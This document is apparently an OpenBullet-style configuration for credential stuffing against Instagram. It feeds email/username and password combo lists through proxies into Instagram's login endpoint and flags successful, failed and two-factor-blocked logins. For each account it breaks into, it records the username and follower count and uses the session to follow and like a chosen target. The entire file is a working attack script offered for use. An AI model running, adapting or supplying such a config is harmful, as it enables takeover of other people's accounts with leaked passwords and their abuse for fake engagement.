[SETTINGS]
{
  "Name": "Instagram Auto Follow Edit",
  "SuggestedBots": 100,
  "MaxCPM": 0,
  "LastModified": "2020-01-08T21:14:56.3689287+00:00",
  "AdditionalInfo": "Auto follows your account. Capture | Username & Followers",
  "Author": "eDealer",
  "Version": "1.4.3 [Anomaly]",
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": true,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "EncodeData": false,
  "AllowedWordlist1": "MailPass",
  "AllowedWordlist2": "UserPass",
  "DataRules": [],
  "CustomInputs": [],
  "CaptchaUrl": "",
  "Base64": "",
  "Grayscale": false,
  "RemoveLines": false,
  "RemoveNoise": false,
  "Dilate": false,
  "Threshold": 1.0,
  "DiffKeep": 0.0,
  "DiffHide": 0.0,
  "Saturate": false,
  "Saturation": 0.0,
  "Transparent": false,
  "Contour": false,
  "OnlyShow": false,
  "ContrastGamma": false,
  "Contrast": 1.0,
  "Gamma": 1.0,
  "Brightness": 1.0,
  "RemoveLinesMin": 0,
  "RemoveLinesMax": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "DisableNotifications": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": ""
}

[SCRIPT]
#Login_acc REQUEST POST "https://www.instagram.com/accounts/login/ajax/" 
  CONTENT "username=<USER>&password=<PASS>&queryParams=%7B%7D&optIntoOneTap=false" 
  CONTENTTYPE "application/x-www-form-urlencoded" 
  HEADER "accept: */*" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: el-GR,el;q=0.9,en;q=0.8" 
  HEADER "content-length: 70" 
  HEADER "origin: https://www.instagram.com" 
  HEADER "referer: https://www.instagram.com/" 
  HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" 
  HEADER "x-csrftoken: DZO51ouRVPaVOjDmDddnZolEdxJP0rDO" 
  HEADER "x-ig-app-id: 936619743392459" 
  HEADER "x-instagram-ajax: ceefc659ad3e" 
  HEADER "x-requested-with: XMLHttpRequest" 

KEYCHECK 
  KEYCHAIN Success OR 
    KEY "{\"authenticated\": true" 
  KEYCHAIN Failure OR 
    KEY "{\"authenticated\": false" 
  KEYCHAIN Custom "2FACTOR" OR 
    KEY "checkpoint_required" 

PARSE "<COOKIES(csrftoken)>" LR "" "" -> VAR "Cookie" 

#Get_Username REQUEST GET "https://www.instagram.com/accounts/login" 
  
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 

#Username PARSE "<SOURCE>" LR "username\":\"" "\"," -> CAP "Username" 

#Check_Followers REQUEST GET "https://www.instagram.com/<Username>" 
  
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 

#Followers PARSE "<SOURCE>" LR "Followers, " "Following" -> CAP "Followers" 

#Follow REQUEST POST "https://www.instagram.com/web/friendships/###ADD_CUSTOM_ID###/follow/" 
  CONTENT "" 
  CONTENTTYPE "application/x-www-form-urlencoded" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 
  HEADER "origin: https://www.instagram.com" 
  HEADER "referer: https://www.instagram.com/<username>/" 
  HEADER "x-csrftoken: <Cookie>" 
  HEADER "x-ig-app-id: 936619743392459" 
  HEADER "x-instagram-ajax: 54a9070d7dcf-hot" 
  HEADER "x-requested-with: XMLHttpRequest" 

#Follow_ok? PARSE "<SOURCE>" LR "\"following\", \"status\": \"" "\"}" -> CAP "Followed?" 

#Like REQUEST POST "https://www.instagram.com/web/likes/###ADD_CUSTOM_ID###/like/" 
  CONTENT "" 
  CONTENTTYPE "application/x-www-form-urlencoded" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 
  HEADER "origin: https://www.instagram.com" 
  HEADER "referer: https://www.instagram.com/<username>/" 
  HEADER "x-csrftoken: <Cookie>" 
  HEADER "x-ig-app-id: 936619743392459" 
  HEADER "x-instagram-ajax: 54a9070d7dcf-hot" 
  HEADER "x-requested-with: XMLHttpRequest" 

#Follow_ok? PARSE "<SOURCE>" LR "\"status\": \"" "\"}" -> CAP "Liked_photo?" 

